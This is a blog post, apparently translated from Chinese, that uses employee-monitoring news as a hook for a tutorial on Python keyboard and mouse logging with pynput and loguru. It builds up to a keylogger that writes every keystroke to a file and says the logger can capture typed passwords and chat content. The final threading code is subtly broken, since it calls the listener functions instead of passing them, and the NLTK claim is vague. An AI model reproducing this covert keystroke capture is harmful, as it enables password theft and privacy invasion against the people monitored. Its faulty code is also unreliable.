Write a few lines of Python code and you can monitor the computer

Posted by discostudio on Tue, 22 Feb 2022 01:04:51 +0100

preface:

Following the monitoring of fishing behaviors such as playing games and watching videos, the tendency of migrant workers to leave will also be monitored.

Some netizens broke the news that Zhihu was laying off low-key staff, and the video related departments had to lay off almost half. In the discussion area of Zhihu layoffs, some netizens said that the enterprise has installed a behavior perception system, which can know the employees' idea of job hopping in advance.

While denying the layoff plan, Zhihu also stated that it had never installed and used the online behavior perception system, and would not enable similar software tools in the future.

Because of this matter, I am deeply convinced that it has been pushed to the forefront, and the public opinion has paid more and more attention.

For a time, discussions about "it's too difficult for workers" and "there's no privacy" emerged one after another.

Text: today's Xiaobian will show you how to write a few lines of Python code to monitor the computer.

Monitoring keyboard

If the company secretly runs a background process on our computer to monitor our keyboard events, the simplest way to write python is roughly as follows:

from pynput import keyboard

def on_press(key):
    print(f'{key} :pushed')


def on_release(key):
    if key == keyboard.Key.esc:
        return False


with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn:
    lsn.join()

Tap the keyboard at will, and you will see such output from the console:

The content of the code is two methods: one is to listen to key events, and the other is to listen to exit events - click the "ESC" key and release it to exit.

Monitor mouse

If you want to listen for mouse events, you can use this Code:

from pynput import mouse

def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        print('left was pressed!')
    elif button == mouse.Button.right:
        print('right was pressed!')
        return False
    else:
        print('mid was pressed!')


#Define mouse listening thread
with mouse.Listener(on_click=on_click) as listener:
    listener.join()

This code is mainly used to monitor the click operation of the left and right buttons of the mouse. After running the mouse, you can see the following results printed on the console:

Careful you will find that each click event is printed twice. This is because pressing and releasing both trigger mouse events.

Record monitoring log

With both keyboard events and mouse events, it's time to combine the two and log the user's actions. Here we use loguru to record logs.

The whole code is as follows:

from pynput import keyboard, mouse
from loguru import logger
from threading import Thread

#Define log file
logger.add('moyu.log')


def on_press(key):
    logger.debug(f'{key} :pushed')


def on_release(key):
    if key == keyboard.Key.esc:
        return False


#Define keyboard listening thread
def press_thread():
    with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn:
        lsn.join()


def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        logger.debug('left was pressed!')
    elif button == mouse.Button.right:
        logger.debug('right was pressed!')
    else:
        return False


#Define mouse listening thread
def click_thread():
    with mouse.Listener(on_click=on_click) as listener:
        listener.join()


if __name__ == '__main__':
    #Start two threads to monitor the keyboard and mouse respectively
    t1 = Thread(target=press_thread())
    t2 = Thread(target=click_thread())
    t1.start()
    t2.start()

After running, you can see the following contents in the log file under the same level directory:

summary

This article mainly explains how to record the operation of keyboard and mouse through the python module "pynput". These simple lines of code can be used for simple operations such as monitoring and entering passwords, but for complex statements such as chat records, you also need to use NLTK language for log processing in order to recover your chat records.

The above is the whole content of the article~

Finally, the complete code has been packaged and sorted out. If you need a little partner, you can click this line of font or edit a private letter!

Topics: Python Back-end